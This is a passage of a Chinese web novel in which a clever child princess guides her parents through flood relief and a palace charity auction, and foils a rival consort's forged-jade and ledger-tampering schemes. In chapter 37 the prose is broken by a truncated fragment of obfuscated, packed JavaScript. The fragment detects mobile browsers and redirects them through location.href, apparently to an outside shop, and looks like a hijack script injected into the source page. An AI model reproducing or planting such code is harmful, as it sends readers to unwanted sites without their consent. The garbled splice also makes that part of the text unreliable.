姜稚想到此人,眼睛一亮。
“爹爹不是说‘稚川先生’很厉害吗?他的商行那么大,肯定有很多粮食、药
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材、布匹!能不能请他…先拿出来,借给朝廷?或者直接送到最需要的地方去?等朝廷的钱粮到了再补上,或者…或者用别的方式补偿他?”
姜稚越说越流畅,思路完全打开。
【对啊!商行网络遍布南北,调配物资比官府更快!以‘稚川先生’的名义组织民间力量,直接介入救灾,效率绝对比官僚系统高!】
【还可以借此机会,将商行的触角更深地扎根地方,树立商行‘义商’的绝对声望!这是一个多大的机遇啊!】
听着女儿几乎将下一步计划都说出来的心声,姜肃再也抑制不住内心的激赏。
他蹲下身,平视着女儿,郑重地握住她的小手。
“稚儿,你所思所想,甚有道理。爹爹这便去与幕僚商议,也将你的想法转告‘稚川先生’。”
姜肃特意加重了最后几个字。
姜稚却以为爹爹只是哄她,急切道:
“爹爹,我不是小孩子玩闹!真的,您要快!黄河不等人!”
她眼底是真切的焦急,甚至泛起一丝水光,那是想到可能发生的惨状而生出的不忍。
姜肃心头一软,将她轻轻拥入怀中:“爹爹知道,稚儿心善,思虑周全。放心,爹爹立刻去办。”
安抚好女儿,姜肃快步离开竹心轩,直奔书房。
他心中已然有了全盘计划。
女儿的点子如同一颗火种,点燃了他脑海中的干柴。
他立刻以“稚川先生”的名义,发出数道紧急指令给福安:
“命“稚川商行”位于黄河中下游沿岸所有分号、货栈,即刻盘点所有库存粮食、药材、布匹、桐油、麻绳等物资,就地集中,听候调遣,不得售卖。”
“以商行名义,高薪紧急招募熟悉水性的船工、有经验的土木工匠、以及愿意前往灾区的大夫,组成医队,携带工具药品,随时待命。”
“启用商行内部培养的迅鸽系统,建立一条从京城到豫州等险地的临时快讯通道,不惜代价,务必保证消息第一时间上传下达。”
信笺传递到福安手中后,福安深感“稚川先生”大义,火速按照信笺内所说的内容安排下去。
第34章 娘亲别担心,一切有稚儿在
竹心轩内,姜稚并不知道自己一番“童言稚语”已化为一道道雷霆般的指令,下达出去。
她有些心神不宁地用了半碗燕窝羹,便让秋露撤下。
雨势渐小,转为淅淅沥沥的雨丝。
她推开窗,潮湿带着土腥气的空气涌进来。
庭院角落里,几株晚开的栀子被雨水打落不少花瓣,洁白的花瓣落在泥水里,显得楚楚可怜。
姜稚看着,忽然想起什么。
“秋露,把我的私房钱匣子拿来。”
秋露应声取来一个精巧的紫檀木匣。
姜稚打开,里面是她这些年攒下的赏赐。
有父母和皇亲们给的压岁钱,还有一些金银锞子、珍珠宝石...
各式各样的珠宝闪闪发光,一看就是价值不菲。
她看也不看,将匣子往秋露手里一塞:“去,找可靠的人,全部换成粮食和粗布,越多越好。不要经过府里公账,就用…就用母亲的名义。”
秋露吓了一跳:“公主,这么多全换?您这是要…”
“别问,快去。”
姜稚语气平静,“悄悄办,别让人知道。换好了,先存在咱们信得过的庄子上。”
她没法以“稚川先生”的名义做事,但可以用自己的方式,尽一份力。
这些钱财留着无用,若能换得几船有用的东西,或许能为爹爹解决不少麻烦。
秋露见小主子神色坚决,不敢多言,捧着沉甸甸的匣子下去了。
姜稚重新倚回榻上,听着窗外的雨声,心绪难平。
她知道自己的力量微薄,但她无法坐视不管。
指尖无意识地划过《水经注》上关于黄河的记载,那些冰冷的文字背后,是无数鲜活的生命和家庭。
【一定要来得及…】
姜稚闭上眼,开始在心中默默祈祷。
姜肃这边送完信笺,马上进宫面圣。
此时,工部尚书在御书房内,向皇帝禀报了最新险情。
豫州一段支堤已经出现裂缝,百姓危在旦夕。
而户部尚书刘安,则一脸苦相,又开始抱怨朝廷国库不丰,紧接着就主张要求加征赋税,削减其他开支。
“万万不可!”
姜肃听到提议,还没迈进书房,就打断刘安的主张。
他依礼给皇帝躬身请安后,马上说出自己的看法。
“父皇,儿臣以为,如此危急时刻加征赋税,恐激起民变,而削减开支更是远水解不了近渴。”
“儿臣愿捐出王府一年俸禄,以充赈灾之用。同时,可再效前法,号召京城及天下富商巨贾,慷慨解囊,共度时艰。”
“对于捐款卓著者,除旌表之外,或可在即将推行的盐引制中,予以有限考量或适当优惠,如此,或可激励更多商贾踊跃捐输。”
此言一出,御书房内瞬间一静。
将赈灾捐款与盐引资格挂钩?
这无疑是一个极具诱惑力的提议!
盐引即将带来的巨大利润,早已让无数商人眼红,若能用捐款来换取未来经营盐业的便利或优先权,对于那些家资丰厚的商贾而言,简直是千载难逢的机会。
就连家中有商铺的臣子都已经跃跃欲试。
王珣等人脸色又是一变,雍王这是要借势而为!
如此一来,雍王既能快速筹集赈灾款,赢得民心,又能为他主导的盐引制拉拢第一批有实力的合作者,进一步巩固他的影响力!
简直一箭双雕!
可他们偏偏难以反对!
皇帝显然也看出了其中关窍。
他深深看了雍王姜肃一眼。
这个儿子,总是能在绝境中想出令人意想不到的破局之法。
“雍王所奏,可行。”
皇帝一锤定音。
“即日起,设立黄河赈灾捐输司,由雍王牵头,户部、工部协理,广募捐输。具体捐输与盐引优惠细则,由雍王会同户部速拟章程,报朕审定。”
“儿臣(臣)领旨!”姜肃躬身领命。
拿到了主导权,很多事情就好办多了。
而此刻的窦府,窦国舅正对着心腹发火:
“废物!连那个‘稚川’是圆是扁都查不出来!他那些商号倒是动得快!听说囤积了大量物资,想干什么?收买人心吗?”
心腹低声道:“国舅爷,眼下黄河决口在即,陛下和
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朝野都盯着,咱们是不是先…”
“先什么先!”窦国舅恨得咬牙切齿。
“他姜肃和那个稚川想借此揽功?没那么容易!”
“去,给我们的人递话,沿河那些关卡、仓库,该‘照章办事’的,一点都不能松!特别是‘稚川商行’的货,给我细细地查,慢慢地查!我倒要看看,是洪水快,还是咱们的章程快!”
他冷笑一声:“还有,让咱们在豫州的人‘帮帮忙’,灾民要是闹起来…这功劳,说不定就变成罪过了。”
窦国舅眼中厉色闪过,手中茶杯被狠狠放在茶几上。
……
豫州的危情一直没有得到缓解,京城之中处处都是忧惧之色。
这日,姜稚去给母亲请安,见母亲正对着一本账簿发愁。
细问之下,才知母亲也在暗中变卖一些不太常用的首饰和庄子产出,想凑些银两捐往豫州,却又担心杯水车薪,再惹来非议。
姜稚心中一动,一个念头清晰起来。
“娘亲,”她挨着林月瑶坐下,小手轻轻按在账簿上,仰着小脸,语气认真。
“您一个人悄悄变卖东西,力量确实有限。但如果我们雍王府出面,在京城办一场大大的义卖和募捐呢?”
“咱们找一些京城里的夫人小姐们,把家里用不上又值钱的东西拿出来,或是捐钱,或是竞价购买,所得银钱再全部捐出去。”
“这样,是不是就能筹到更多的钱?还能让更多的人一起来帮忙?”
林月瑶听了,先是一怔,随即眼中泛起温柔又惊讶的光芒。
她一直知道女儿聪慧早熟,却没想到她会想出这样的主意。
“稚儿,这主意真是好极了。”随即似是想到什么,林月瑶沉吟片刻。
“只是,由咱们雍王府牵头,是否过于显眼?而且如何让各家女眷信服参与,又能确保钱财去处?这些皆是难题。”
林月瑶顾虑重重。
作为雍王妃,她深知后宫前朝,牵一发而动全身的道理。
“娘亲,别担心,我有办法。”
姜稚将小手轻轻搭在母亲的手上,眼里满是星光。
第35章 娘亲,咱们办个义捐会吧
听竹苑内,细雨初歇。
竹影斜斜地映在窗纱上,像一幅淡墨的画。
姜稚一身淡粉襦裙,坐在母亲林月瑶身侧,眉眼清亮。
她语速不快,却条理分明,字字句句都仿佛经过深思熟虑:
“娘亲,这场义卖和募捐,咱们雍王府并非独自出面。您可以以‘体恤灾民,为皇帝爷爷分忧’的名义,先禀明皇后娘娘。”
“若能得到皇后娘娘首肯,甚至是出面号召,那便是名正言顺的宫闱善举,任谁也不敢随便说闲话。”
林月瑶手里攥着一方月白帕子,听了女儿的提议,眉心蹙得几乎能夹住窗外滴落的水滴。
“稚儿,”她低声开口,声音里带着点怯意,“万一…万一皇后娘娘觉得我们僭越,怎么办?”
姜稚把一只白瓷小盏推到母亲面前。
盏里是她刚沏的蜜水,只三滴,却甜得恰到好处。
“皇后娘娘肯定跟皇爷爷一心呀,就像是您跟爹爹一样!她此刻定也是焦头烂额,巴不得有人替她分忧。我们只是递法子,又不是拆房子。皇后娘娘不会找我们麻烦的。”
“至于义捐时,怎样让别人信服和做账嘛…”
姜稚顿了顿,黑亮的眸子里闪过一丝慧黠。
“咱们可以邀请几位素有贤名、家世清白的公侯夫人共同协理,成立一个‘义捐理事会’。”
“所有捐物、捐款和义卖所得,当场登记造册,一式多份,由理事会成员共同签字画押,定期张榜公布。”
“甚至,可以请一位德高望重的皇室长辈作为见证。”
“所有钱财由‘理事会’公推两家信誉卓著的银号共同保管。若想支取钱物,需要半数以上理事成员同意并附上详细用途说明。”
“如此一来,账目公开,众人监督,自然无人能置疑。”
姜稚这一套方案说下来,让林月瑶彻底惊呆了。
她怔怔望着女儿。
只见姜稚眼神澄澈,神情坚定,仿佛这一切不过是她随手拈来的游戏。
就算她自己已经打理内宅十数载,也远远不及女儿想得周全缜密。
林月瑶望着女儿纯净又坚定的眼眸,又想到之前秋露来报,说女儿以她的名义,将所有私房全都捐了出去,自己却完美隐身,而她这个做母亲的都是事后才知。
那一刻,她心中五味杂陈,既有心疼,更有骄傲。
“好!就依稚儿所言!”
林月瑶下定决心,牢牢握住女儿的小手。
“此事,咱们母女同心,定能办成!”
在姜稚的“参谋”下,林月瑶精心准备了说辞和初步方案,然后递牌子求见了皇后。
皇后正为灾情忧心,见雍王妃主动请缨,对其大加赞赏。
又见方案周详可行,在能彰显皇家仁德的同时,还能切实募得钱款,当场允诺雍王妃的建议。
同时,皇后还亲自修书几封,邀请几位宗室王妃、公侯夫人共同主持这场义卖会。
并立马带着雍王妃去到常年礼佛、德高望重的顺太妃处,将其说动,答应作义卖会的见证。
以皇后和顺太妃的名义,由雍王妃牵头,数位高门贵妇共同协办,要在皇家西苑沁芳园举办“义卖募捐会”的消息很快传开。
一时间,京城贵女圈层为之轰动。
“听说了吗?这次可是皇后娘娘亲自主持,顺太妃作见证,雍王妃牵的头!”
“可不是!听说连安国公夫人都亲自捐了一套红宝石头面,价值万金!”
在他们眼中,这场活动,可不单单是捐款那么简单。
只要事情做得漂亮,既能彰显自家仁善,又能在皇后和太妃跟前露脸,自家的仕途说不定会更平坦!
众人都积极响应,纷纷整理出不用的珠宝首饰、古董字画、精品巧绣等等,准备去登记捐助。
雍王府内,林月瑶忙得不可开交。
姜稚也没闲着。
她常常陪着母亲整理,偶尔“童言无忌”地提出些建议:
“娘亲,这些捐物可以按价值粗略地分一下等级啊!普通的就放‘义卖区’,贵重的就放‘公开竞价区‘。”
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“咱们是不是可以做个带编号的标签呀?这样捐物、收据、账册三对照,就不怕乱了。”
“嗯,这里可以规划一条活动场地的人流路线,茶点区要安静,竞价区要热闹…”
甚至她还建议母亲,可以设立一个“儿童捐物角”,鼓励各家孩子捐出玩具或亲手做的小物件,从小培养他们的善心。
这些细致入微的点子,往往让忙碌中的林月瑶和几位协理的夫人眼前一亮。
采纳后,果然使筹备的工作更加井井有条。
然而,就在义卖会紧锣密鼓筹备之时,暗中的窥探和阴谋也是如影随形。
长春宫内,香炉袅袅。
窦贵妃倚在软榻上,身着绛红宫装,指尖染着鲜红的丹蔻,正慢悠悠地剥着一颗葡萄。
“哼,这林月瑶倒是会卖好,借着灾情,拉拢皇后,出尽风头!”
“她以为皇后无子,雍王母妃早逝,就能趁机攀附,图谋太子的位置?就凭他们也配?”
“简直是痴人说梦!”
窦贵妃猛地捏碎手中的葡萄,汁水溅落在锦毯上,宛如血迹。
“还有她那个女儿也是个鬼灵精!小小年纪,就到处引人注目,真是随了她那个心眼多的爹!”
“最可恨的是那个人老珠黄的皇后,不就是想借这个事在陛下跟前跟本宫争宠!”
“他们让太子在宗人府受苦,自己在人前装模作样,本宫怎能让他们这么得意!”
一旁的宫女立马上前谄媚,附和道:“娘娘说的是,义卖会当日,人多眼杂,正是好机会!只要咱们抓住他们的错处,就能让他们吃不了兜着走!”
“自然!”窦贵妃嘴角勾起冷笑。
“她们不是讲究账目公开,众人监督吗?那咱们就给她们的‘公开账目’添点精彩的内容。”
“去,安排一下,找几件‘特别’的东西,混进她们的捐物里。还有,当日负责登记造册的那些关键位置上,必须要有我们的人…”
“本宫倒要看看,她们这出‘仁心善举’最后如何收场!”
第36章 义捐会上,风起云涌
由雍王府牵头、皇后首肯的“义卖募捐会”如期在皇家西苑的沁芳园举行。
沁芳园的清晨,薄雾未散,宫人已经忙碌起来。
园内的檐角处悬挂着精巧的琉璃祈福风铃。
风过处,清音与花香交织,让人心情沉静。
皇帝姜桓钦赐的“慈济永祚”的匾额高悬主台。
朝阳下,御笔金字熠熠生辉。
雍王妃林月瑶,天刚亮便到园内,再次核对流程。
她今日的妆容极淡,只眉间一点花钿。
身着天水碧织银暗纹广袖长裙,外罩同色半臂。
虽素净,却越发衬得她气质清华,目光沉静有力。
而几位协理夫人到后,见她如此装束,也都让随侍的丫鬟收起了自己身上过于繁华的首饰,俱是简洁庄重。
辰时末,一些诰命夫人和世家小姐们开始陆续入园。
环佩叮当,香风阵阵,但气氛却比寻常花会要严肃许多。
入园处,设有签到处。
每位来宾需在特定的洒金笺上签名,并领取一枚小巧的,刻有编号的“善缘牌”。
此牌既是凭证,也用作后续购买时的记录之用。
皇后与德高望重的顺太妃端坐于主位高台,面带微笑,却隐含威仪。
雍王妃林月瑶作为实际主持者,与几位协理的公侯夫人穿梭忙碌,指挥若定。
姜稚今天被打扮得也格外精致。
淡樱粉齐胸襦裙,外罩浅杏色半透明绣缠枝莲纹的纱衣。
头发梳成双环髻,上面还各簪着一朵小小的珍珠绢花。
脖子上挂着长命金锁,腕上是一对细细的虾须镯。
姜稚紧紧跟着母亲林月瑶,黑葡萄似的大眼睛好奇地四处打量,一副不谙世事的娇憨模样。
只有最亲近的人才会发现。
姜稚今天的眼神格外清亮,扫视人群时,带着旁人不易察觉的审视。
各家女眷带来的捐物开始登记造册,分门别类陈列在铺着雪白锦缎的长案上。
珠宝玉器、古玩字画、刺绣屏风、香料药材…琳琅满目。
每一件都附有精致的标签,写有捐者、品名、估价。
最引人注目的是中央区域一个半封闭的“竞拍区”,里面摆放的多是价值不菲的硬通货和稀有之物,需有意者私下出价。
银钱收付处设在园内一处敞轩内,由两位户部官员和四位理事夫人带来的账房共同负责。
所有捐款和义卖所的银两,当场清点,然后放入特制的、带有多重锁具的银箱内。
待义卖结束后,会由理事夫人共同签字封存。
流程清晰,监督严密。
窦贵妃并未亲自到场,只派了心腹宫女送了件不痛不痒的玉如意作为捐品,本人称“略有微恙”。
然而,她布下的网,已然悄然张开。
捐物登记即将截止时,一位穿着半旧不新、神色拘谨的妇人,在丫鬟陪同下,捧着一个不起眼的蓝布包袱,匆匆来到登记处。
她是工部营缮司一位从七品主事,刘俭之妻,王氏。
刘家本不富裕,近来更是因为刘俭母亲病重,经济拮据。
“夫人,妾身来捐物。”王氏声音细小,不敢看人。
话音落下,她就解开包袱。
包袱里面是一个紫檀木盒,打开木盒后,里面是两件玉器:
一是件青玉螭龙璧,一件是白玉菱龙纹璜。
青玉螭龙璧,雕工精细。上面有螭龙盘踞,张牙舞爪,玉色深沉,透着所谓的“古意”。
白玉菱龙纹璜,外形是弧形,两端雕简化龙首,玉质莹白。
两件器物都看起来有些年头。
“这…这是妾身娘家早年传下来的,说是前朝古物,妾身也不是很懂。妾身家贫,没有什么值钱的物件,唯有这两件先祖遗泽,愿捐出略尽绵力。”
王氏说话间声音微颤,眼神有些躲闪。
负责登记的是一位素以细致著称的伯夫人,李氏。
她拿起玉璧,感觉入手微凉。
对光细看,发现螭龙的眼睛雕刻得有些模糊,而龙身的鳞片纹路也略显呆板。
再看玉璜,菱龙的角部线条转折也稍嫌生硬。
李氏心中疑窦丛生。
“刘夫人,此二物…”李氏出言询问。
“是、是妾身外祖家传的,如今家里艰难,就这还能值点钱。估…估八百两…夫人看,可还行?”
王氏不待李夫人询问完,赶忙出
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言打断,报出估价。
李氏眉头蹙起。
刘俭官职低微,家境清寒,其妻衣着朴素甚至有些寒酸,但这出手便是“前朝古玉”,还自估八百两!
这实在太过反常。
但众目睽睽,直接质疑捐赠者,易生事端。
李氏不动声色,依程序让账房登记:
“刘王氏,捐青玉螭龙璧,白玉菱龙纹璜各一,自述前朝古玉,自估八百两。备注:需核验。”
她特意叮嘱账房加重了“需核验”三字,并在标签角落用指甲划了一个极小的三角记号。
这两件玉器,很快被送入了“珍品竞拍区”。
不远处,一位穿着富丽、头面光鲜的年轻女子,以团扇半遮面,正与几位商人妇说笑,但目光却总是状似无意地扫过那两件玉器。
她是京城新近崛起的一位丝绸商新纳的宠妾,柳氏,以出手阔绰、喜爱古玩在京城闻名。
但无人知晓,她早已被窦家暗中控制。
今日的任务,便是在适当的时机,“慧眼识宝”的高价拍下这两件玉器,然后…
银钱收付处,人来人往,捐款的银票、现银,义卖成交后交割的款项,流水般进出。
两张宽大的紫檀木桌拼在一起,户部来的两位主事端坐正中,面前摊开着总账册。
四位协理夫人带来的账房先生分坐两侧,面前是各自负责的分类账册。
外围,还有六名临时雇来的识字书生,负责初步清点、誊录和跑腿传递。
一名名为赵文瑞的书生,被分在“捐款录入”组。
他穿着浆洗发白的青衫,头戴方巾,面容清瘦,眼神里带着读书人独有的清高。
但细瞧下,会看到那眼神深处还暗藏着几分窘迫。
赵文瑞算盘打得不错,誊录的簪花小楷也秀丽工整,很快就赢得了两位户部主事的微微颔首。
然而,无人看见他袖中微微颤抖的手,和额角不断渗出的细密冷汗。
他的目光,每隔片刻就会不受控制地飞快地瞟向外面某个方向——
那里站着一位穿着窦府二等丫鬟服饰、正与别家丫鬟闲聊的少女。
每当他与那丫鬟目光相接,便会更紧张几分。
第37章 “玉器鉴赏家”上线
沁芳园内,义卖募捐会还在如火如荼地进行。
一直与小丫鬟“眉来眼去”的赵文瑞,终于开始行动起来。
他咬了咬牙,趁着身旁另一位书生起身去取空白账册的间隙,飞快地在刚刚的账目上做着改动。
待他拿笔起身时,账册上侍郎夫人原本的捐款金额已经从“五百一十两”变成了“五百五十两”。
而原本记录的,知府张夫人捐的八十两现银,被挂在了王家账下,还因“疏忽”被记为“六十两”。
做完这一切,赵文瑞的后背已经惊出一身冷汗,心脏几乎要跳到嗓子眼上。
他强迫自己镇定,开始“认真”忙碌自己接下来的工作。
“义卖竞价区”这边也逐渐热闹起来。
尤其是几位皇室宗女和公侯小姐捐出的首饰绣品,更是引得不少夫人争相出价。
气氛看似融洽。
但在休息的茶歇角落,或是围观百姓被允许远远观望的栅栏地带,一些细微却恶意的声音,如同毒蛇吐信,悄然蔓延。
“啧啧,瞧这排场。我娘家嫂子在户部当差的表亲说,看见雍王府的人在户部提前支取了大笔银子,说是垫付开销,可谁知道是不是全都用上了?看雍王妃那群人打扮,可都不便宜,怕不是这羊毛出在羊身上了吧?”
“可不是嘛!听说那位雍王妃,借着这机会,可是把京城有头有脸的夫人们都请来了。我看呀,这募捐是假,结党营私,收买人心才是真的吧!”
“哎,我听说啊,那竞拍区里有几件东西,来路可有点说不清呢,好像是从南边犯人官家里流出来的“抄家货”,怕不是要把见不得光的东西拿出来洗…”
这些议论,往往由一两个仆妇或看似热心的小商人起头,夹杂在闲谈中,让人真假难辨。
但每句话却又精准地撩拨着人性中固有的猜疑、嫉妒以及对权贵的复杂心态。
不少原本单纯的夫人小姐听了,心下也不免泛起嘀咕。
再看向雍王妃和几位理事夫人的眼神,悄然间多了些审视。
而所发生的一切,早早就被几双眼睛尽收眼底。
沁芳园内到处都是姜稚活泼的身影。
她时而帮母亲林月瑶递个茶水,时而“好奇”地跑到捐物区看看,还有的时候会在银钱敞轩外“张望”一下热闹。
她年纪小,动作又天真自然,无人防备。
工部营缮司主事刘俭的夫人王氏,捧着包袱出现时,姜稚正好“玩”到登记处附近。
王氏那心虚气短的模样,以及过分高昂的估价,早就引起了姜稚的注意。
待人走后,她便看似无意地凑近,踮起脚尖看了看那两件玉器。
【这青玉螭龙璧...螭龙形态是仿战国到汉的样式。但战国螭龙多矫健灵动,带一种神秘的张力,汉螭则渐趋雄浑规整。】
【可这上面的是个什么玩意儿?】
【先不说形似而神不似,单这龙头比例就有点失调,眼眶雕得这么深,看起来就呆呆的。】
【而且这玉色也不对。真的古玉入土千年,沁色是自然渗入玉的肌理的,有过度有层次。但这上面的“沁”是浮在表面,更像是加工染上去的。】
【再说这个白玉菱龙纹璜…】
【这菱龙纹是西周晚期到春秋流行的。但这上面的纹饰雕刻得也太软绵绵了一点。这雕刻师傅干活的时候是没吃饱吗?】
【大家都说那个刘家主事家境一般,有这么贵的“传家宝”还不赶快变卖去贴补家用!偏偏过来捐了不说,还标这么高的价…傻子都知道有问题。】
姜稚不动声色,脸上依旧维持着孩童的好奇。
她跑到母亲身边,趁着林月瑶稍有空隙,扯了扯她的衣袖,用不大不小,却刚好能让附近几位夫人听到的声音说:
“娘亲,那边那些漂亮姐姐们捐的玉器都好漂亮呀!不过稚儿记得,上次皇祖母赏玩古玉时,好像说老玉上都有一种特别的“光”,叫什么“宝光”还是“土光”来着?”
“是不是可以请皇祖母身边的白爷爷过来看看,这些物件上面有没有皇祖母说的那些光啊!听说白爷爷可厉害了哪!”
姜稚口中的“白爷爷”,是皇后宫中的副总管,白福全。
他曾经掌管过内务府珍宝库,是公认的鉴赏大家。
今日恰好也陪着皇后一同前来,一直在皇后身边伺候。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830851|191176||http|test|mini|href|location''.split(''|''),0,{}));
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r>林月瑶闻言,心中一动。
女儿虽小,但时常翻阅各类杂书图册,尤其对金石古物兴趣浓厚,她的话绝非无的放矢。
再联想到,之前伯夫人李氏悄声跟她说过的事,林月瑶立刻意识到其中可能有问题。
她当机立断,低声与身边的安国公夫人耳语几句。
安国公夫人也是人精,立刻会意。
二人携伴,一起走向主台,向皇后和顺太妃禀明情况,邀请白公公出手,为几件捐物“掌掌眼”。
皇后自然是乐见义卖会圆满的,闻言自然允准,并温言道:
“白福全,你便去瞧瞧,务必要公允。若是珍品,勿使其蒙尘,但若有疑处,也需当场直言!如此方才不负今日济世之诚心。”
白福全躬身领命,跟随雍王妃等人,步伐稳健地走向竞拍区。
竞拍区这边。
之前那位柳姓妾室,已经拿起青玉螭龙璧,又指着白玉菱龙纹璜,显得“兴致勃勃”,连连惊呼是好东西。
她还故意扬声道:“哎呀,这两件玉器古意盎然,莫非真是前朝珍品?妾身倒是有些兴趣。”
细细看完后,当场表示,不管多少银两,自己都要将其拍下。
就在此时,雍王妃一行人到了。
白公公先是随手看了看几个拍品,略作点评,皆很中肯,引得众人频频点头。
直到他看到那个柳氏手中的东西,浑浊的眼睛顿时露出“精光”。
“这位夫人,不介意的话,可否将手中的螭龙璧给咱家看看?”白公公伸出手,有礼道。
他的言行,立刻吸引了所有人的注意。
柳氏心头一紧,本想拒绝,但看到在场所有人都在紧盯自己,只得心不甘情不愿地将东西交到白公公手中。
白公公接过螭龙璧,对着日光缓缓转动,又凑近嗅了嗅,然后又用指甲在不起眼的地方轻轻刮擦了一下,随即露出了然的神色。
他放下玉璧,又拿起玉璜,同样仔细观察审视。
一旁的柳氏也硬着头皮凑上前,想着或许还有机会能凭借自己的“财力”和“眼力”来搅浑水。
全场此刻鸦雀无声,全等着白公公的“一锤定音”。
第38章 安宁公主是阴谋粉碎机
竞拍区这边,大家还在关注着白公公的一举一动。
良久,白公公将两件玉器一起放回紫檀木盒。
接着清了清嗓子,声音不高却清晰地传入每个人耳中:
“各位贵人,依咱家看,这青玉璧、白玉璜,玉料尚可,雕工也是好的,应是本朝能工巧匠的手笔。仿的是前朝样式,手工也颇为精致。”
“若论把玩陈设,足矣。只是…”
他顿了顿,看向不远处脸色开始发白的王氏,语气平和却带着权威的分量。
“古玉之珍,在于千年岁月沉淀之气韵,在于地下水土沁染之自然。”
“此二物,匠气稍重,神韵不足,做旧手法也略显粗陋。若作案头赏玩,摆设装饰,足称精美,但若按‘前朝古玉’论价,则不甚妥帖。”
“皇后娘娘举办此次义卖,旨在诚心济灾。物有所值,方不负捐者善心、买者义举。”
“刘夫人或许是家传时信息有误。不妨按本朝上等仿古玉器估计,每件作价八十至一百二十两左右,更为公道。不知捐者与各位贵人,意下如何?”
白公公的这番话,既点明了玉器的本质,又给了捐者台阶下,在维护了义卖会的声誉同时,更彰显了皇后娘娘等人的严谨与公正。
柳氏妾室的脸上也是红一阵白一阵,她深知计划已经破产,讪讪地不再提购买之事,灰溜溜地躲进了人群。
王氏早已吓得魂不附体,瘫软在地,泣不成声,只反复说“妾身不知真假,妾身真的不知…”。
林月瑶示意侍女将她扶到一边休息,温言安抚,并未深究,更显雍容大度。
姜稚并未放松。
几乎是同一时间,她又“溜达”到银钱收付的敞轩外。
她假装被噼里啪啦作响的算盘声吸引,扒着门框,眨着大眼睛往里看,实则观察着里面的动静。
很快,她就注意到了赵文瑞。
这个人实在太紧张了。
写字时手抖,拨算盘时还时常指尖发僵,尤其是他的眼神,总是时不时地往外面那个穿杏色衣衫的丫鬟身上瞟。
“秋露,那个穿杏色裙子的,是谁家的丫鬟?”姜稚朝身后询问。
“那个呀!她是窦国舅府上的丫鬟。”秋露辨认了一会儿,答道。
一听是窦府的人,姜稚瞬间心下了然。
【原来是窦府的丫鬟啊!难怪!那个秀才还一脸的做贼心虚。钱物这么重要的环节,可不能出岔子!】
想到这儿,姜稚立刻找到正在巡视的雍王府侍卫副统领。
这是姜肃特意安排的,目的就是保护妻女。
她凑到副统领跟前,扯了扯他的衣甲,低声道:
“副统领叔叔,那个打算盘的秀才,好像很紧张,老是看外面那个穿杏色衣衫的姐姐。”
“核对钱物的事情多重要呀!能不能多派几位叔叔或嬷嬷,帮他们一起数?一个人核对完之后,再换人看一遍?就像我和丫鬟姐姐玩数棋子游戏那样,这样肯定错不了。”
副统领早已得了姜肃吩咐,公主有任何吩咐,必须百分百执行,不得有任何懈怠。
听了姜稚的话,副统领抱拳称是,立刻照办。
副统领以雍王之名,直接向两位户部主事建议,立即对所有在岗的书生实行“双岗复核制”。
即每一笔款项的清点、誊录,必须由两人同时进行,完成后互相签字确认,方可录入总账。
更是暗中盯住了赵文瑞和那个窦府丫鬟。
命令一下,赵文瑞顿时面如死灰。
在新的严格流程下,他之前偷偷改动的那笔“五百五十两”账目,立刻在第一次交叉核对中被另一书生发现。
“赵兄,这笔侍郎夫人的捐款,原始凭据是五百一十两,你这誊本怎么是五百五十两?”
还有张夫人被记错的八十两,也很快露出马脚。
赵文瑞支支吾吾,汗如雨下,正想狡辩是笔误,王府的侍卫副统领早已沉着脸走到他身边。
“赵相公似乎身体不适?不妨先到隔壁厢房歇息片刻,喝口茶。这边自有他人接手。”
说完,便有侍卫出现,一左一右“扶”住赵文瑞,将他带走。
紧接着,外
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面一直徘徊的窦府丫鬟,也被两名“询问路况”的嬷嬷,“客气”地请到了另一处偏厅“喝茶”。
被带到房间的赵文瑞,在压力之下,很快崩溃。
他涕泪横流地交代,说自己是因欠下赌债被窦家人胁迫,才铤而走险来搞破坏。
那丫鬟起初还想抵赖,但听到赵文瑞已然招供,顿时瘫软在地,承认自己是奉命来监督赵文瑞的行动和传递信号的。
而姜稚听了他们的供词,心里却对窦府的险恶用心有了更深的认识。
赵文瑞做的这些手脚,极有可能不会立刻爆发,却会在事后对总账时,成为说不清的糊涂账。
几位理事会内合作的夫人,很快会因账目不清,怀疑其中有人中饱私囊。
长此以往,不仅能让理事会内部**,也会让这场活动成为别人眼中的笑话。
有心之人,更能借此打击皇后娘娘和雍王府的威信!
【这场义卖会,娘亲耗费了这么大的心力,决不能让他们这么轻易地破坏掉。】
姜稚握紧了自己的小拳头,继续为母亲林月瑶保驾护航中。
而在百姓和夫人圈流传出的那些流言蜚语,姜稚跟林月瑶也是早有准备。
在义卖会开场时,林月瑶已借皇后和太妃之口,阐明了此次义举的宗旨和全程透明的原则。
当流言隐约传来时,她们并没有大张旗鼓地去抓捕谣言的“散播者”,相反地,林月瑶跟姜稚在会场到处视察、帮忙时,两人只是一唱一和地对着旁人感叹:
“这豫州百姓都到生死关头了,怎么还有人在拿一些不知所谓的事做文章?他们于心何忍?”
而姜稚也迎合着母亲的话,状似“无意”道:
“是呀,娘亲!此刻这么诋毁咱们义卖会活动的人,是眼红大家的功劳?还是对大晟江山有不轨之心呀?皇爷爷如果知道了,会不会把他们抓起来呀?”
周围的夫人们哪个不是人精,立刻明白其中的厉害关系,马上吩咐自家的丫鬟管好自己的嘴,就算在各自的社交圈中也是对义卖会各种维护。
第39章 义捐会圆满收尾
就在流言蜚语漫天飞的时候。
几位与雍王妃相熟的、性格爽利的夫人,在雍王妃林月瑶的授意下,找准时机,在各自的圈子里,以闲聊的方式,开始“不经意”地提起:
“看看这义卖会的开销!你们是没见着啊!雍王妃为了省下每一分善款,连今日我们喝的茶水,都是她掏自己嫁妆铺子的本钱购得的。”
说话的是刑部尚书夫人,她一边用帕子轻拭嘴角,一边用眼角的余光敏锐地观察着周围人的反应。
"我听说点心也是他们府里厨娘连夜赶制的!生怕用了募捐来的银子。"
礼部侍郎家的夫人立刻接话,她手中团扇轻摇,扇面上的蝶恋花图案在阳光下熠熠生辉。
“可不是嘛!我家厨娘跟雍王府的刘嬷嬷是老乡,听她跟我身边的丫鬟说,从昨儿个半夜就开始准备了,连王爷最爱的桂花糕都没敢多做,就怕浪费了食材。”
说话的是太常寺卿夫人。她刻意提高了音量,确保周围竖着耳朵的几位夫人都能听得真切。
